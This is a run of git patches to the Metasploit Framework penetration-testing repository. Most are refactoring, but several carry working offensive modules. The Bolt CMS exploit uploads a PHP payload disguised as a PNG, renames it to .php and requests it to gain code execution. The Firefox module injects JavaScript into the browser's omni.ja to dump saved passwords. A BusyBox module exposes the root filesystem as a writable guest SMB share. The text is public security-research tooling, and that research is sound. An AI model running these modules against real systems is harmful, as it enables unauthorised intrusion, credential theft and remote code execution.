rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file) if session.type == "meterpreter" - print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exists?(@paths['ff'] + temp_file) + print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exists?(@paths['ff'] + temp_file) - if !session.fs.file.exists?(@paths['ff'] + org_file) - print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}") - return false - end + unless session.fs.file.exists?(@paths['ff'] + org_file) + print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}") + return false + end end # session.type == "meterpreter" - return true + + true end @@ -358,7 +360,7 @@ class Metasploit3 < Msf::Post end - # Checks for needed privileges and wheter Firefox is installed + # Checks for needed privileges and if Firefox is installed def decrypt_get_env @paths = {} check_paths = [] @@ -366,7 +368,7 @@ class Metasploit3 < Msf::Post case @platform when /win/ - if !got_root and session.sys.config.sysinfo['OS'] !~ /xp/i + unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work") end @@ -378,7 +380,7 @@ class Metasploit3 < Msf::Post check_paths << drive + '\\Program Files\\Mozilla Firefox\\' check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\' when /unix/ - if !got_root + unless got_root print_error("You need ROOT privileges on this platform for DECRYPT option") return false end @@ -406,7 +408,6 @@ class Metasploit3 < Msf::Post print_good("Found Firefox directory: #{check}") true else - #vprint_error("No Firefox directory found") false end end @@ -417,7 +418,8 @@ class Metasploit3 < Msf::Post end @paths['loot'] = tmpdir + loot_file - return true + + true end @@ -553,7 +555,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); print_error("No normal user found") return false end - user = users.split()[0] + user = users.split[0] # Since we can't access the display environment variable we have to assume the default value args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") args << "\"" @@ -569,7 +571,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); session.sys.process.each_process do |p| if p['name'] =~ /firefox\.exe/ print_status("Found running Firefox process, attempting to kill.") - if !session.sys.process.kill(p['pid']) + unless session.sys.process.kill(p['pid']) print_error("Could not kill Firefox process") return false end @@ -580,7 +582,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); if p =~ /firefox/ print_status("Found running Firefox process, attempting to kill.") term = cmd_exec("killall", "firefox && echo true") - if !term =~ /true/ + if term !~ /true/ print_error("Could not kill Firefox process") return false end @@ -607,14 +609,14 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); # Lets just check theres something before going forward if session.type == "meterpreter" - i=20 - vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") if !session.fs.file.exists?(@paths['loot']) - while (!session.fs.file.exists?(@paths['loot'])) - sleep 1 - i -= 1 - break if i == 0 - end - print_error("Missing loot file. Something went wrong.") if !session.fs.file.exists?(@paths['loot']) + i=20 + vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exists?(@paths['loot']) + while (!session.fs.file.exists?(@paths['loot'])) + sleep 1 + i -= 1 + break if i == 0 + end + print_error("Missing loot file. Something went wrong.") unless session.fs.file.exists?(@paths['loot']) end # session.type == "meterpreter" print_status("Restoring original .JA: #{temp_file}") @@ -634,14 +636,16 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); end # session.type == "meterpreter" # At this time, there should have a loot file - if !session.fs.file.exists?(@paths['loot']) and session.type == "meterpreter" - print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.") - # Another issue is encoding. The files may be seen as 'data' rather than 'ascii' - print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter" - return false + if session.type == "meterpreter" + unless session.fs.file.exists?(@paths['loot']) + print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.") + # Another issue is encoding. The files may be seen as 'data' rather than 'ascii' + print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter" + return false + end end - return true + true end From 8bfa5bcd094dec01d19a1edd68e220c731104d31 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 13:08:27 -0500 Subject: [PATCH 0555/2172] Do some more minor code cleaning --- modules/post/multi/gather/firefox_creds.rb | 42 +++++++++++----------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index e6dd69900c..fde3b370a8 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -426,11 +426,11 @@ class Metasploit3 < Msf::Post def decrypt_modify_omnija(zip) # Which files to extract from ja/zip files = [ - 'components/storage-mozStorage.js', # stor_js - 'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul - 'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul - 'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used) - ] + 'components/storage-mozStorage.js', # stor_js + 'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul + 'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul + 'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used) + ] # Extract files from zip arya = files.map do |omnija_file| @@ -506,21 +506,21 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); | regex = [ - nil, # dirty hack alert - [/return\slogins;/, method_epilog], - [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports] - ] + nil, # dirty hack alert + [/return\slogins;/, method_epilog], + [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports] + ] # Match the last two regular expressions i = 2 # ...this is todo with the nil in the above regex array & regex command below x = i stor_js['content'].each_line do |line| # There is no real substitution if the matching regex has no corresponding patch code - if i != 0 and line.sub!(regex[i][0]) do |match| - if !regex[i][1].nil? - vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js") - regex[i][1] - end + if i != 0 && line.sub!(regex[i][0]) do |match| + if regex[i][1] + vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js") + regex[i][1] + end end # do |match| i -= 1 end # if i != 0 @@ -604,7 +604,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); # Automatic termination (window.close() - injected XUL or firefox cmd arguments) print_status("Starting Firefox process to get #{whoami}'s credentials") - cmd_exec(cmd,args) + cmd_exec(cmd, args) sleep(1) # Lets just check theres something before going forward @@ -627,12 +627,12 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); vprint_status("Cleaning up: #{new_file}") file_rm(new_file) if session.type == "meterpreter" - if session.fs.file.exists?(temp_file) - print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.") - end - if !session.fs.file.exists?(org_file) - print_error("Unable to find #{org_file} on target. Something went wrong.") - end + if session.fs.file.exists?(temp_file) + print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.") + end + unless session.fs.file.exists?(org_file) + print_error("Unable to find #{org_file} on target. Something went wrong.") + end end # session.type == "meterpreter" # At this time, there should have a loot file From b9ba12e42a6cb4156ffca3a1e0dc9477bdf405d4 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Fri, 4 Sep 2015 15:27:28 -0300 Subject: [PATCH 0556/2172] Added get_token method. --- .../exploits/unix/webapp/bolt_file_upload.rb | 24 ++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb index eff1a23eb7..82cce11541 100644 --- a/modules/exploits/unix/webapp/bolt_file_upload.rb +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -84,8 +84,22 @@ class Metasploit3 < Msf::Exploit::Remote nil end - def token + def get_token + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'), + 'cookie' => cookie + ) + unless res + print_error("#{peer} - Unable to connect in the Server") + return + end + + if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" / + return Regexp.last_match[1] + end + nil end def rename_payload() @@ -101,6 +115,14 @@ class Metasploit3 < Msf::Exploit::Remote end vprint_good("#{peer} - Authenticated with Bolt") + token = get_token(cookie) + if nonce.nil? + print_error("#{peer} - No nonce") + return + end + vprint_good("#{peer} - Token #{token} found.") + + end end From 5dd0cee36adf16d33ba01560bbfe411131cc238c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 13:30:00 -0500 Subject: [PATCH 0557/2172] Add comment --- modules/post/linux/busybox/smb_share_root.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/linux/busybox/smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb index 20bc5d901a..f89e57e6c1 100644 --- a/modules/post/linux/busybox/smb_share_root.rb +++ b/modules/post/linux/busybox/smb_share_root.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Post cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf") cmd_exec_delay('killall smbd') cmd_exec_delay("smbd -D -s #{dir}smb.conf") - cmd_exec_delay("smbd -D -s=#{dir}smb.conf") + cmd_exec_delay("smbd -D -s=#{dir}smb.conf") # Uses equal just in case end def cmd_exec_delay(command) From 4531d17cabe0a02186cea0a29af1625fe78131e7 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Fri, 4 Sep 2015 15:37:42 -0300 Subject: [PATCH 0558/2172] Added the rest of the code --- .../exploits/unix/webapp/bolt_file_upload.rb | 66 ++++++++++++++++++- 1 file changed, 63 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb index 82cce11541..fd88916716 100644 --- a/modules/exploits/unix/webapp/bolt_file_upload.rb +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote datastore['PASSWORD'] end - def bolt_login() + def bolt_login(user, pass) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login') @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote nil end - def get_token + def get_token(cookie) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'), @@ -102,8 +102,28 @@ class Metasploit3 < Msf::Exploit::Remote nil end - def rename_payload() + def rename_payload(cookie, payload) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'bolt', 'async', 'renamefile'), + 'vars_post' => { + 'namespace' => 'theme', + 'parent' => 'base-2014', + 'oldname' => "#{payload}.png", + 'newname' => "#{payload}.php" + }, + 'cookie' => cookie + ) + unless res + vprint_error("#{peer} - Unable to rename de file.") + return + end + + if res.code == 200 + return true + end + nil end def exploit @@ -122,7 +142,47 @@ class Metasploit3 < Msf::Exploit::Remote end vprint_good("#{peer} - Token #{token} found.") + vprint_status("#{peer} - Preparing payload...") + payload_name = Rex::Text.rand_text_alpha_lower(10) + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"") + data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"') + post_data = data.to_s + print_status("#{peer} - Uploading payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + ) + + unless res + print_error("#{peer} - No response from the target") + end + + if res.code == 304 + print_good("#{peer} - Uploaded the payload") + end + + rename = rename_payload(cookie, payload_name) + if rename.nil? + vprint_error("#{peer} - No renamed filename") + return + end + + php_file_name = "#{payload_name}.php" + payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name) + vprint_good("#{peer} - Parsed response") + + register_files_for_cleanup(php_file_name) + vprint_status("#{peer} - Executing the payload at #{payload_url}") + send_request_cgi( + 'uri' => payload_url, + 'method' => 'GET' + ) + vprint_good("#{peer} - Executed payload") end end From cf6d5fac2a33f3abc49e4e45f9d58acc6b3a40f8 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 4 Sep 2015 13:43:15 -0500 Subject: [PATCH 0559/2172] Use the latest cred API, no more report_auth_info --- .../advantech_webaccess_dbvisitor_sqli.rb | 43 ++++++++++++++---- .../admin/scada/modicon_password_recovery.rb | 45 +++++++++++++++---- .../dos/http/wordpress_long_password_dos.rb | 37 ++++++++++++--- modules/auxiliary/gather/apache_rave_creds.rb | 41 ++++++++++++++--- modules/auxiliary/gather/d20pass.rb | 40 ++++++++++++++--- .../gather/doliwamp_traversal_creds.rb | 42 +++++++++++++---- .../auxiliary/test/report_auth_info.rb | 30 +++++++++++++ 7 files changed, 232 insertions(+), 46 deletions(-) diff --git a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb index ddafc1502c..7e77949291 100644 --- a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb +++ b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb @@ -175,15 +175,14 @@ class Metasploit3 < Msf::Auxiliary @plain_passwords[i] << " (ISO-8859-1 hex chars)" end - report_auth_info({ - :host => rhost, - :port => rport, - :user => @users[i][0], - :pass => @plain_passwords[i], - :type => "password", - :sname => (ssl ? "https" : "http"), - :proof => "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}" - }) + report_cred( + ip: rhost, + port: rport, + user: @users[i][0], + password: @plain_passwords[i], + service_name: (ssl ? "https" : "http"), + proof: "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}" + ) users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])] end @@ -191,6 +190,32 @@ class Metasploit3 < Msf::Auxiliary print_line(users_table.to_s) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def user_type(database) user_type = database diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index ca0df87132..aabbdc4cc3 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -90,18 +90,45 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def setup_ftp_connection vprint_status "#{ip}:#{rport} - FTP - Connecting" - if connect_login() + conn = connect_login + if conn print_status("#{ip}:#{rport} - FTP - Login succeeded") - report_auth_info( - :host => ip, - :port => rport, - :proto => 'tcp', - :user => user, - :pass => pass, - :ptype => 'password_ro', - :active => true + report_cred( + ip: ip, + port: rport, + user: user, + password: pass, + service_name: 'modicon', + proof: "connect_login: #{conn}" ) return true else diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb index 0601abe005..fb6d7094b0 100644 --- a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb @@ -68,16 +68,41 @@ class Metasploit3 < Msf::Auxiliary datastore['TIMEOUT'] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user] + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def user_exists(user) exists = wordpress_user_exists?(user) if exists print_good("#{peer} - Username \"#{username}\" is valid") - report_auth_info( - :host => rhost, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :port => rport, - :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}" + report_cred( + ip: rhost, + port: rport, + user: user, + service_name: (ssl ? 'https' : 'http'), + proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}" ) return true diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb index a5111b9875..eb9574bbff 100644 --- a/modules/auxiliary/gather/apache_rave_creds.rb +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -103,6 +103,33 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run print_status("#{rhost}:#{rport} - Fingerprinting...") @@ -183,13 +210,13 @@ class Metasploit3 < Msf::Auxiliary print_status("#{rhost}:#{rport} - Recovering Hashes...") json_info["result"]["resultSet"].each { |result| print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => "Apache Rave", - :user => result["username"], - :pass => result["password"], - :active => result["enabled"] + report_cred( + ip: rhost, + port: rport, + service_name: 'Apache Rave', + user: result["username"], + password: result["password"], + proof: user_data ) } diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index 9ed0034a31..de42cb7159 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -182,6 +182,32 @@ class Metasploit3 < Msf::Auxiliary return res end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # Parse the usernames, passwords, and security levels from the config # It's a little ugly (lots of hard-coded offsets). # The userdata starts at an offset dictated by the B014USERS config @@ -213,13 +239,13 @@ class Metasploit3 < Msf::Auxiliary break end logins << [accounttype, accountname, accountpass] - report_auth_info( - :host => datastore['RHOST'], - :port => 23, - :sname => "telnet", - :user => accountname, - :pass => accountpass, - :active => true + report_cred( + ip: datastore['RHOST'], + port: 23, + service_name: 'telnet', + user: accountname, + password: accountpass, + proof: accounttype ) end if not logins.rows.empty? diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index a922353060..ac02e16386 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -151,6 +151,32 @@ class Metasploit3 < Msf::Auxiliary get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run return unless tokens = get_session_tokens credentials = [] @@ -172,14 +198,14 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Password', 'Admin', 'E-mail'] ) credentials.each do |record| - report_auth_info({ - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => record[0], - :pass => record[1], - :source_type => 'vuln' - }) + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + user: record[0], + password: record[1], + proof: @cookie + ) cred_table << [record[0], record[1], record[2], record[3]] end print_line diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index b67d40b147..256f549059 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -450,6 +450,36 @@ class Metasploit3 < Msf::Auxiliary mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end + def test_d20pass + mod = framework.auxiliary.create('gather/d20pass') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_doliwamp_traversal_creds + mod = framework.auxiliary.create('gather/doliwamp_traversal_creds') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_apache_rave_creds + mod = framework.auxiliary.create('gather/apache_rave_creds') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Apache Rave', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_wordpress_long_password_dos + mod = framework.auxiliary.create('dos/http/wordpress_long_password_dos') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, proof: FAKE_PROOF) + end + + def test_modicon_password_recovery + mod = framework.auxiliary.create('admin/scada/modicon_password_recovery') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_advantech_webaccess_dbvisitor_sqli + mod = framework.auxiliary.create('admin/scada/advantech_webaccess_dbvisitor_sqli') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + def run counter_all = 0 counter_good = 0 From 5646f2e0c4e5e966520ef7d52753c3f4b7a53fa0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 4 Sep 2015 13:45:44 -0500 Subject: [PATCH 0560/2172] successful status should include last_attempted_at --- modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb | 1 + modules/auxiliary/scanner/lotus/lotus_domino_login.rb | 1 + 2 files changed, 2 insertions(+) diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index c44453bb85..907ecc4c5b 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -95,6 +95,7 @@ class Metasploit3 < Msf::Auxiliary }.merge(service_data) login_data = { + last_attempted_at: Time.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index 2cf52df12a..c3e9ac94a5 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -51,6 +51,7 @@ class Metasploit3 < Msf::Auxiliary }.merge(service_data) login_data = { + last_attempted_at: Time.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] From cc405957dbc65dfdddf3f97a7d12f6cdd549108c Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Fri, 4 Sep 2015 16:02:30 -0300 Subject: [PATCH 0561/2172] Add some improvements --- .../exploits/unix/webapp/bolt_file_upload.rb | 61 ++++++++++--------- 1 file changed, 33 insertions(+), 28 deletions(-) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb index fd88916716..c5e5b8389f 100644 --- a/modules/exploits/unix/webapp/bolt_file_upload.rb +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -14,19 +14,21 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info( info, - 'Name' => 'Bolt File Upload', + 'Name' => 'CMS Bolt File Upload Vulnerability', 'Description' => %q{ - To do. + Bolt CMS contains a flaw that allows a authenticated remote + attacker to execute arbitrary PHP code. This module was + tested on version 2.2.4. }, 'License' => MSF_LICENSE, 'Author' => [ - 'To do', # Vulnerability Disclosure + 'Tim Coen', # Vulnerability Disclosure 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module ], 'References' => [ - ['URL', 'http://todo.com'] + ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html'] ], 'DisclosureDate' => 'Aug 17 2015', 'Platform' => 'php', @@ -133,16 +135,16 @@ class Metasploit3 < Msf::Exploit::Remote print_error("#{peer} - Failed to authenticate with Bolt") return end - vprint_good("#{peer} - Authenticated with Bolt") + vprint_good("#{peer} - Authenticated with Bolt.") token = get_token(cookie) if nonce.nil? - print_error("#{peer} - No nonce") + print_error("#{peer} - No token found.") return end - vprint_good("#{peer} - Token #{token} found.") + vprint_good("#{peer} - Token \"#{token}\" found.") - vprint_status("#{peer} - Preparing payload...") + vprint_status("#{peer} - Preparing payload...") payload_name = Rex::Text.rand_text_alpha_lower(10) data = Rex::MIME::Message.new @@ -150,7 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"') post_data = data.to_s - print_status("#{peer} - Uploading payload...") + vprint_status("#{peer} - Uploading payload...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'), @@ -161,28 +163,31 @@ class Metasploit3 < Msf::Exploit::Remote unless res print_error("#{peer} - No response from the target") - end - - if res.code == 304 - print_good("#{peer} - Uploaded the payload") - end - - rename = rename_payload(cookie, payload_name) - if rename.nil? - vprint_error("#{peer} - No renamed filename") return end - php_file_name = "#{payload_name}.php" - payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name) - vprint_good("#{peer} - Parsed response") + if res.code == 304 + vprint_good("#{peer} - Uploaded the payload") - register_files_for_cleanup(php_file_name) - vprint_status("#{peer} - Executing the payload at #{payload_url}") - send_request_cgi( - 'uri' => payload_url, - 'method' => 'GET' - ) - vprint_good("#{peer} - Executed payload") + rename = rename_payload(cookie, payload_name) + if rename.nil? + vprint_error("#{peer} - No renamed filename") + return + end + + php_file_name = "#{payload_name}.php" + payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name) + vprint_good("#{peer} - Parsed response") + + register_files_for_cleanup(php_file_name) + vprint_status("#{peer} - Executing the payload at #{payload_url}") + send_request_cgi( + 'uri' => payload_url, + 'method' => 'GET' + ) + vprint_good("#{peer} - Executed payload") + else + print_error("#{peer} - To do") + end end end From 7ab506dc0656fe32864caca6cf2a7d6afff7c48c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 4 Sep 2015 15:05:45 -0500 Subject: [PATCH 0562/2172] Use Msf::Post::Android::System#get_build_prop to get the android ver Instead of grabbing the android version from the module, this is done by the mixin. --- modules/post/android/manage/remove_lock.rb | 24 ++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index 48268c63ff..7b2aad2fb9 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -4,11 +4,13 @@ ## require 'msf/core' +require 'msf/core/post/android' class Metasploit4 < Msf::Post Rank = NormalRanking include Msf::Post::Common + include Msf::Post::Android::System def initialize(info={}) super( update_info( info, { @@ -39,15 +41,25 @@ class Metasploit4 < Msf::Post )) end - def run - buildprop = cmd_exec('cat /system/build.prop') + def is_version_compat? + build_prop = get_build_prop - if buildprop.blank? - print_error("Blank build.prop, try again") - return + # Sometimes cmd_exec fails to cat build_prop, so the #get_build_prop 